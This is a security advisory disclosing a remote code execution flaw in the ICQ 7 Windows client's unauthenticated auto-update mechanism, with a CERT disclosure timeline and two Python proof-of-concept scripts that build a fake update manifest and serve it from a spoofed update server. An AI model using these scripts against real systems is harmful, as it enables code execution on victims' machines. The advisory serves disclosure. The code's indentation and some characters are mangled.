SUMMARY
The ICQ 7 instant messaging client allows remote code execution due to a
flaw in its automatic update mechanism.
VULNERABLE APPLICATIONS
All versions of ICQ 7 for Windows, up to version 7.2, build 3525 (which
is the current version)
ICQ 6 and older versions were not tested.
Other ICQ clients should not be affected since this is a flaw in the ICQ
software update mechanism and not in the ICQ IM protocol.
DETAILS
ICQ 7 does not check the identity of the update server or the
authenticity of the updates that it downloads through its automatic
update mechanism. By impersonating the update server (think DNS
spoofing), an attacker can act as an update server of its own and
deliver arbitrary files that are executed on the next launch of the ICQ
client. Since ICQ is automatically launched right after booting Windows
by default and it checks for updates on every start, it can be attacked
very reliably.
REPRODUCING
(1) Create the files for the update server (see below,
build_update_files.py)
(2) Run a fake update server (see below, run_update_server.py)
(3) Impersonate the update server. To verify the vulnerability, the
easiest way is to add an entry for update.icq.com to the victim's
\Windows\system32\drivers\etc\hosts file that points to the fake update
server's IP address and clearing it's DNS cache afterwards (ipconfig
/flushdns).
The next victim that is affected by the impersonation and that launches
the ICQ client will now automatically download and install the fake
update. On the next restart of the ICQ software, the fake ICQ.exe will
be executed.
SOLUTION
Stop using ICQ or switch to another IM client until a fix is released
since ICQ 7 does not offer to disable automatic updates.
TIMELINE
2010-11-12
discovered issue
2010-11-13
reported issue to cert.org
2010-11-30
received confirmation from cert.org that they try to contact the vendor
2011-01-13
cert.org publishes vulnerability note because the vendor doesn't react
REFERENCES
Vulnerability Note at cert.org:
http://www.kb.cert.org/vuls/id/680540
FILES
=== START build_update_files.py ===
#!/usr/bin/env python
import sys, os
from hashlib import md5
from zipfile import ZipFile, ZIP_DEFLATED
if len(sys.argv) < 2:
print "argument missing"
sys.exit(1)
f = open(sys.argv[1])
payload = f.read()
f.close()
payload_checksum = md5(payload).hexdigest()
payload_size = len(payload)
f = ZipFile('ICQ.zip', 'w')
f.write(sys.argv[1], 'ICQ.exe', ZIP_DEFLATED)
f.close()
payload_compressed = os.path.getsize('ICQ.zip')
updatesfile = ('<manifest productid="30009" build="9999" serial="9">'
+ '<host url="http://update.icq.com/cb/icq6/30009/"/>'
+ '<file id="31" path="ICQ.exe" hash="%s" size="%s">'
+ '<file format="zip" size="%s" url="ICQ.zip"/>'
+ '</file></manifest>'
) % (payload_checksum, payload_size, payload_compressed)
updatesfile_checksum = md5(updatesfile).hexdigest()
updatesfile = '<!ā%sā>\r\n%s' % (updatesfile_checksum, updatesfile)
f = open('updates.xml', 'w')
f.write(updatesfile)
f.close
=== END build_update_files.py ===
=== START run_update_server.py ===
#!/usr/bin/env python
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class ICQRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/cb/icq6/30009/0/updates.xml':
self._respond_with_file('updates.xml')
elif self.path == '/cb/icq6/30009/ICQ.zip':
self._respond_with_file('ICQ.zip')
else:
self.send_error(404)
def _respond_with_file(self, filename):
f = open(filename)
self.send_response(200)
self.end_headers()
self.wfile.write(f.read())
f.close()
httpd = HTTPServer(('', 80), ICQRequestHandler)
httpd.serve_forever()
=== END run_update_server.py ===